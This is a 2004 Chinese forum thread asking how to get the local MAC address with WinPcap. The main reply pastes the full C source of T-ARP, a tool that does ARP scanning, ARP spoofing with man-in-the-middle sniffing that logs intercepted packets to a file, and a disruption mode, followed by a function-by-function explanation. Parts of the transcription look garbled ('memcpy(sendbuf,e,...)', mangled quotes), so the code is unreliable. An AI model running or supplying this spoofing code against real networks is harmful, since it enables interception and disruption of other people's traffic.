hyyseven
驱动牛犊
驱动牛犊
  • 注册日期2003-11-11
  • 最后登录2004-05-21
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:2836回复:9

请教,使用WPCAP可以获取到本机的网卡MAC地址吗?

楼主#
更多 发布于:2004-04-15 10:01
如题
walkonthesky
驱动中牛
驱动中牛
  • 注册日期2003-11-26
  • 最后登录2012-11-06
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望20点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2004-05-21 09:03
当然可以

先随意构造ARP包
向本机的IP地址发一个ARP-REQUEST
然后接收ARP包
检查是ARP-REPLY&&SOURCEIP是自己的包,然后读取ETHHDER的DESTMAC就可以了

代码看T-ARP的代码
开放源码的东西
有很详细的说明
[img]http://www.driverdevelop.com/forum/upload/walkonthesky/2004-07-08_2004-07-07_b847.gif[/img]
walkonthesky
驱动中牛
驱动中牛
  • 注册日期2003-11-26
  • 最后登录2012-11-06
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望20点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2004-05-21 09:03
代码也给你好了

#include \"packet32.h\"
#include \"ntddndis.h\"
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,\"ws2_32\")
#pragma comment(lib,\"packet\")
#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char   eh_dst[6];
unsigned char   eh_src[6];
unsigned short  eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short  arp_hdr;
unsigned short  arp_pro;
unsigned char   arp_hln;
unsigned char   arp_pln;
unsigned short  arp_opt;
unsigned char   arp_sha[6];
unsigned long   arp_spa;
unsigned char   arp_tha[6];
unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char  h_lenver;
unsigned char  tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char  ttl;
unsigned char  proto;
unsigned short checksum;
unsigned int   sourceip;
unsigned int   destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
FILE      *fp;
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;
void start()
{
printf(\"T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\\n\");
printf(\"Homepage: www.safechina.net\\n\");
printf(\"E-mail: TOo2y@safechina.net\\n\");
return ;
}
void usage()
{
printf(\"\\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \\n\\n\");
printf(\"Option:\\n\");
printf(\"   -m  mac        Get the mac address from firstip to secondip\\n\");
printf(\"   -a  antisniff  Get the sniffing host from firstip to secondip\\n\");
printf(\"   -s  spoof      1> Spoof the host between firstip and secondip\\n\");
printf(\"       sniff      2> Sniff if firstip == secondip == your own ip\\n\");
printf(\"       shock      3> Shock if firstip == secondip != your own ip\\n\");
printf(\"   -r  reset      Reset the spoofed host work normally\\n\\n\");
printf(\"Attention:\\n\");
printf(\"    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\\n\");
printf(\"    2> HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Tcpip\\\\Parameters\\\\IPEnableRouter == 0x1\\n\\n\");
return ;
}
int getmine()
{
char   sendbuf[1024];
int    k;
ETHDR  eth;
ARPHDR arp;
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x82;
arp.arp_sha[k]=0x82;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=htonl(myip);
arp.arp_spa=inet_addr(\"112.112.112.112\");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf(\"PacketSendPacket in getmine Error: %d\\n\",GetLastError());
return -1;            
}
return 0;
}
void getdata(LPPACKET lp,int op)
{
ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
ULONG  j,k;
ETHDR  *eth;
ARPHDR *arp;
PIPHDR ip;
char   *buf,*pChar,*pLine,*base;
struct bpf_hdr      *hdr;
struct sockaddr_in  sin;
ulbytesreceived=lp->ulBytesReceived;
buf=(char *)lp->Buffer;
off=0;
while(off<ulbytesreceived)
{
if(kbhit())
{
return ;
}
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pChar=(char *)(buf+off);
base=pChar;
off=Packet_WORDALIGN(off+hdr->bh_caplen);
eth=(PETHDR)pChar;                
arp=(PARPHDR)(pChar+sizeof(ETHDR));
if(eth->eh_type==htons(ETH_IP))
{
     ip=(PIPHDR)(pChar+sizeof(ETHDR));
if(fm && sm && (op==3))  
{  
if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip))
                            && !strcmp((char *)eth->eh_dst,(char *)mmac))
&& ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip))
|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
                           || ((firstip==myip) && (secondip==myip)))
{
memset(msg,0,sizeof(msg));
sin.sin_addr.s_addr=ip->sourceip;
printf(\"[IP:]%16s ---> [IP:]\",inet_ntoa(sin.sin_addr));
                                  strcpy(msg,inet_ntoa(sin.sin_addr));
strcat(msg+15,\" ---> \");
sin.sin_addr.s_addr=ip->destip;
printf(\"%16s\\n\",inet_ntoa(sin.sin_addr));
                  
strcat(msg+23,inet_ntoa(sin.sin_addr));
fseek(fp,-2,1);
fwrite(\"\\r\\n\\r\\n\\r\\n\",6,1,fp);
fwrite(msg,38,1,fp);
fwrite(\"\\r\\n\",2,1,fp);
ulLines=(hdr->bh_caplen+15)/16;
for(k=0;k<ulLines;k++)
{
pLine=pChar;
printf(\"%08lx : \",pChar-base);
ulen=tlen;
ulen=(ulen>16) ? 16 : ulen;
tlen-=ulen;
for(j=0;j<ulen;j++)
printf(\"%02x \",*(BYTE *)pChar++);
if(ulen<16)
printf(\"%*s\",(16-ulen)*3,\" \");
pChar=pLine;
for(j=0;j<ulen;j++,pChar++)
{
printf(\"%c\",isprint(*pChar)? *pChar : \'\'.\'\');
fputc(isprint(*pChar) ? *pChar : \'\'.\'\',fp);
}
printf(\"\\n\");
}
printf(\"\\n\");
                                  fwrite(\"\\r\\n\",2,1,fp);  
}
}
continue;
}
     else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  
{
           sin.sin_addr.s_addr=arp->arp_spa;
               if(sin.sin_addr.s_addr==htonl(myip))
{
            memcpy(mmac,eth->eh_src,6);
            if(!mm)
{
    printf(\"\\t\");    
                for(k=0;k<5;k++)
        printf(\"%.2x-\",eth->eh_src[k]);
          printf(\"%.2x\\n\",eth->eh_src[5]);
                         switch(op)
{
                           case 1:
                           printf(\"\\n[MAC LIST:]\");
                           break;
                           case 2:
                      printf(\"\\n[Sniffing Host:]\");    
                        break;
                         default:                    
                        break;
}
}
    mm=TRUE;
}
     if((op==1) || (op==2))
{
    printf(\"\\n[IP:] %.16s\\t[MAC:] \",inet_ntoa(sin.sin_addr));
    for(k=0;k<5;k++)
    printf(\"%.2x-\",eth->eh_src[k]);
    printf(\"%.2x\",eth->eh_src[5]);
}
            else if(((op==3) || (op==4)) && (!fm || !sm))
{
          if(arp->arp_spa==htonl(firstip))
{
              memcpy(fmac,eth->eh_src,6);
                fm=TRUE;
}
   
if(arp->arp_spa==htonl(secondip))
{
              memcpy(smac,eth->eh_src,6);
            sm=TRUE;
}
}
}
}
return ;
}

DWORD WINAPI sniff(LPVOID no)
{
int      option=*(int *)no;
char     recvbuf[1024*250];
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf(\"Warning: Unable to set the adapter to promiscuous mode\\n\");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf(\"PacketSetBuff Error: %d\\n\",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf(\"Warning: Unable to set the timeout\\n\");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf(\"PacketAllocatePacket receive Error: %d\\n\",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(!kbhit())
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
          return -1;
}
getdata(lppacketr,option);
}
return 0;
}
DWORD WINAPI sendMASR(LPVOID no)
{
int    fun=*(int *)no;
int    k,stimes;
       char   sendbuf[1024];
ETHDR  eth;
ARPHDR arp;
 
if(fun<1 || fun>4)
{
return -1;
}
else
{
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
arp.arp_tha[k]=0x00;
}
if(fun==2)
eth.eh_dst[5]=0xfe;
}
memcpy(eth.eh_src,mmac,6);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=htonl(myip);
memcpy(arp.arp_sha,mmac,6);
if(fun==1 || fun==2)
stimes=1;
else if(fun==3 || fun==4)
stimes=2;
for(k=0;k<stimes;k++)
{
if(stimes==1)
{
arp.arp_tpa=htonl(firstip+(num++));
}
else if(stimes==2)
{
switch(k)
{
case 0:
arp.arp_tpa=htonl(firstip);
break;
case 1:
arp.arp_tpa=htonl(secondip);
break;
default:
break;
}
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf(\"PacketSendPacket in sendMASR Error: %d\\n\",GetLastError());
return -1;
}
}
return 0;
}

DWORD WINAPI sendSR(LPVOID no)
{
int     fun=*(int *)no;
int     j,k;
char    sendbuf[1024];
struct  sockaddr_in  fsin,ssin;
BOOL    stimes=FALSE;
ETHDR   eth;
ARPHDR  arp;
fsin.sin_addr.s_addr=htonl(firstip);
ssin.sin_addr.s_addr=htonl(secondip);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
   arp.arp_opt=htons(ARP_REPLY);      
if(fun==3)
{
     if(mm)
{
if((firstip==myip) && (secondip==myip))
{
                fm=TRUE;
              sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
                printf(\"\\nNot get enough data\\n\");
          return -1;
}
for(j=0;j<2;j++)
{
if(j==0)
{
printf(\"\\nSpoofing %.16s :  \",inet_ntoa(fsin.sin_addr));
printf(\"%.16s ==> \",inet_ntoa(ssin.sin_addr));
}
else if(j==1)
{
printf(\"Spoofing %.16s :  \",inet_ntoa(ssin.sin_addr));
printf(\"%.16s ==> \",inet_ntoa(fsin.sin_addr));
}
                           for(k=0;k<5;k++)
            printf(\"%.2x-\",mmac[k]);
          printf(\"%.2x\\n\",mmac[5]);
}
printf(\"\\ni will try to snoof ...\\n\\n\");
               stimes=TRUE;
}
else
{
printf(\"\\nNot get enough data\\n\");
     return -1;
}
}
else if(fun==4)
{
if(mm)
{
if((firstip==myip) && (secondip==myip))
{
                 fm=TRUE;
                 sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
            printf(\"\\nNot get enough data\\n\");
              return -1;
}
printf(\"\\nReset %.16s :  \",inet_ntoa(fsin.sin_addr));
printf(\"%.16s ==> \",inet_ntoa(ssin.sin_addr));
                    for(k=0;k<5;k++)
              printf(\"%.2x-\",smac[k]);
          printf(\"%.2x\\n\",smac[5]);
printf(\"Reset %.16s :  \",inet_ntoa(ssin.sin_addr));
printf(\"%.16s ==> \",inet_ntoa(fsin.sin_addr));
                    for(k=0;k<5;k++)
              printf(\"%.2x-\",fmac[k]);
            printf(\"%.2x\\n\\n\",fmac[5]);
           stimes=FALSE;
}
else
{
printf(\"\\nNot get enough data\\n\");
     return -1;
}
}
else
return -1;
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=htonl(firstip);
arp.arp_spa=htonl(secondip);
if(!stimes)
{
memcpy(eth.eh_src,smac,6);
memcpy(arp.arp_sha,smac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
           if(PacketSetNumWrites(lpadapter,2)==FALSE)
{
   printf(\"Warning: Unable to send a packet 2 times\\n\");
}
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf(\"PacketSendPacket in SendSR Error: %d\\n\",GetLastError());
return -1;
}
Sleep(1000);  
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=htonl(secondip);
arp.arp_spa=htonl(firstip);
if(!stimes)
{
memcpy(eth.eh_src,fmac,6);
memcpy(arp.arp_sha,fmac,6);
}
              else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf(\"PacketSendPacket int sendSR Error: %d\\n\",GetLastError());
return -1;
}
Sleep(1000);
}while(stimes);
if(fun==4)
printf(\"Reset Successfully\");
return 0;
}
int main(int argc,char *argv[])
{
HANDLE   sthread,rthread;
WCHAR    adaptername[8192];
WCHAR    *name1,*name2;
ULONG    adapterlength;
DWORD    threadsid,threadrid;
struct   NetType      ntype;
struct   bpf_stat     stat;
struct   sockaddr_in  sin;
struct   npf_if_addr  ipbuff;
int      adapternum=0,opti=0,open,i,total;
long     npflen;
system(\"cls.exe\");
start();
if(argc!=4)
{
usage();
getche();
return -1;
}
else
{
if(!strcmp(argv[1],\"-m\"))
{
opti=1;
}
else if(!strcmp(argv[1],\"-a\"))
{
opti=2;
}
else if(!strcmp(argv[1],\"-s\"))
{
opti=3;
 
               if((fp=fopen(\"capture.txt\",\"w+\"))==NULL)
        {
                  printf(\"Open capture.txt Error: %d\\n\");
                         return -1;
      }
                  else
      {
                           fwrite(\"T-ARP Captrue Data\",20,1,fp);
      }
      }
else if(!strcmp(argv[1],\"-r\"))
{
opti=4;
}
else
{
usage();
getche();
return -1;
}
}
firstip=ntohl(inet_addr(argv[2]));
secondip=ntohl(inet_addr(argv[3]));
total=secondip-firstip+1;
printf(\"\\nLibarary Version: %s\",PacketGetVersion());
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf(\"PacketGetAdapterNames Error: %d\\n\",GetLastError());
return -1;
}

name1=adaptername;
name2=adaptername;
i=0;
while((*name1!=\'\'\\0\'\') || (*(name1-1)!=\'\'\\0\'\'))
{
if(*name1==\'\'\\0\'\')
{
memcpy(adapterlist,name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf(\"\\nAdapters Installed:\\n\");
for(i=0;i<adapternum;i++)
wprintf(L\"%d - %s\\n\",i+1,adapterlist);
do
{
printf(\"\\nSelect the number of the adapter to open: \");
scanf(\"%d\",&open);
if(open>=1 && open<=adapternum)
break;        
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf(\"PacketOpenAdapter Error: %d\\n\",GetLastError());
return -1;
}
if(PacketGetNetType(lpadapter,&ntype))
{
printf(\"\\n\\t\\t*** Host Information ***\\n\");
printf(\"[LinkTpye:]\\t%d\\t\\t\",ntype.LinkType);    
printf(\"[LinkSpeed:]\\t%d b/s\\n\",ntype.LinkSpeed);
}
npflen=sizeof(ipbuff);  
if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
{
sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
printf(\"[Broadcast:]\\t%.16s\\t\",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
printf(\"[SubnetMask:]\\t%.16s\\n\",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
printf(\"[IPAddress:]\\t%.16s\\t\",inet_ntoa(sin.sin_addr));
myip=ntohl(sin.sin_addr.s_addr);
printf(\"[MACAddress:]\");
}
else
{
printf(\"\\nNot get enough data\\n\");
PacketFreePacket(lppackets);
PacketCloseAdapter(lpadapter);
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf(\"PacketAllocatePacket send Error: %d\\n\",GetLastError());
return -1;
}
rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
Sleep(300);
if(getmine())
{
     PacketFreePacket(lppackets);
     PacketFreePacket(lppacketr);
     PacketCloseAdapter(lpadapter);
return -1;
}
Sleep(300);
if((opti==1) || (opti==2))
{
for(i=0;i<total;i++)
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
Sleep(30);
}
Sleep(1000);
}
else if((opti==3) || (opti==4))
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
Sleep(300);
CloseHandle(sthread);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
}
WaitForSingleObject(sthread,INFINITE);
CloseHandle(sthread);
CloseHandle(rthread);
if(PacketGetStats(lpadapter,&stat)==FALSE)
{
printf(\"Warning: Unable to get the adapter stat\\n\");
}
else
{
printf(\"\\n\\n%d packets received, %d packets lost !\\n\",stat.bs_recv,stat.bs_drop);
}
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}

[img]http://www.driverdevelop.com/forum/upload/walkonthesky/2004-07-08_2004-07-07_b847.gif[/img]
walkonthesky
驱动中牛
驱动中牛
  • 注册日期2003-11-26
  • 最后登录2012-11-06
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望20点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地板#
发布于:2004-05-21 09:04
T-ARP主要代码分析

1> 自定义函数:
int getmine() //发送ARP Request数据报,请求获得本地主机的mac地址;
void getdata(LPPACKET lp,int op) //分类处理接收到的数据报;
DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式,接收所有流过的数据报;
DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报,请求获得指定ip的mac地址;
DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗,或是更新主机的ARP缓存。

2> 主要代码分析
printf(\"\\nLibarary Version: %s\",PacketGetVersion()); //输出dll的版本信息;

PacketGetAdapterNames((char *)adaptername,&adapterlength) //获得本地主机的网络适配器列表和描述;

lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器;

PacketGetNetType(lpadapter,&ntype) //获得网络适配器的MAC类型;

PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) //获得指定网络适配器的相关信息;

rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); //创建一个新线程来监听网络数据报;

PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式,这样才可以监听流过本地主机的数据报;
PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024;

PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒;

PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后,接收所有的数据报;

sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); //创建一个新线程发送特定的ARP数据报

PacketSetNumWrites(lpadapter,2) //在发送一个数据报时,重复发送两次;

PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报;

WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束;

PacketGetStats(lpadapter,&stat) //获得网络适配器的统计信息;

[img]http://www.driverdevelop.com/forum/upload/walkonthesky/2004-07-08_2004-07-07_b847.gif[/img]
hyyseven
驱动牛犊
驱动牛犊
  • 注册日期2003-11-11
  • 最后登录2004-05-21
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2004-05-21 09:41
收到,十分感谢!
canoe982
驱动牛犊
驱动牛犊
  • 注册日期2003-04-11
  • 最后登录2005-12-14
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2004-06-10 07:38
你捕获的任何一个与本机相关的数据包都会包含本机的MAC地址啊。其实,不用WPCAP不是更好,有很多这方面的资料。
独怜幽草涧边生, 上有黄鹂深树鸣。 春潮带雨晚来急, 野渡无人舟自横。
walkonthesky
驱动中牛
驱动中牛
  • 注册日期2003-11-26
  • 最后登录2012-11-06
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望20点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
6楼#
发布于:2004-06-14 10:54
但是你不能假定本机会收到任何数据包
[img]http://www.driverdevelop.com/forum/upload/walkonthesky/2004-07-08_2004-07-07_b847.gif[/img]
IoriKingdom
驱动小牛
驱动小牛
  • 注册日期2004-06-17
  • 最后登录2010-04-26
  • 粉丝0
  • 关注0
  • 积分8分
  • 威望23点
  • 贡献值0点
  • 好评度10点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2004-07-12 01:04
winpacp做太麻烦,我是用iphelper来实现的
天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。
paddy
驱动牛犊
驱动牛犊
  • 注册日期2004-05-14
  • 最后登录2005-10-26
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望1点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2004-08-02 11:22
  能问一下如何实现的不?再用wpcap写抓包程序,还要发送packet,必须得到本机mac。
  
zhaohh@gwtt.com 相识旧时缘,希望大家多帮忙!
paddy
驱动牛犊
驱动牛犊
  • 注册日期2004-05-14
  • 最后登录2005-10-26
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望1点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2004-08-02 15:18
  如何使用pcap.dll接口获取本机mac呀?请高手指点
zhaohh@gwtt.com 相识旧时缘,希望大家多帮忙!
游客

返回顶部